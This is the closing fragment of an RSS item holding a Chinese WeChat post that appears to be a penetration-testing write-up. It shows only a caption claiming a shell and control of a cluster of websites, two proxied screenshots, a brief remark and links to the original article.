style="text-align: left;"><span style="font-family:Arial;">Getshell，可控制所有站群：</span></p><p style="text-align: left;"><span style="font-family:Arial;"><span style="mso-spacerun:yes;">   </span></span><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.4602888086642599" style="width:553.5399780273438px;height:254.8000030517578px;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=a08f9815&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIqUhFYAUtkajuX1BlpJjB1fFpcicWjD6tRiaXuovYZTicuTNU2lq730icVg%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-family:Arial;"></span></p><p style="text-align: left;"><span style="font-family:Arial;" lang="EN-US"><span style="mso-spacerun:yes;"> </span><span style="mso-tab-count:1 Blank;">       </span><span style="mso-spacerun:yes;">  </span>一个没想通的点：</span><span style="font-family:Arial;"></span></p><p style="text-align: left;"><span style="font-family:Arial;"><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Arial;"><img class="rich_pages wxw-img" data-ratio="0.40585774058577406" style="width:478.3399963378906px;height:194.07000732421875px;" data-type="png" data-w="478" src="https://wechat2rss.xlab.app/img-proxy/?k=ce449c6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1c5CagBia19eefeDj0nxLbrIicZ8nZavoXmIHfjAk1Zv1zzdrtmUdUrhK9R7A8KR4YkjA3uZNaLZc3g%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-family:Arial;"></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: 12pt;font-size: 10.5pt;font-family: Arial;font-weight: normal;"><span style="font-family:Arial;">          <br/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485585">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a3f6dcc6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485585%26idx%3D1%26sn%3D67e128496ccad2eec6d80eac9438da7c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 03 Apr 2023 08:00:00 +0800</pubDate>
    </item>
  </channel>
</rss>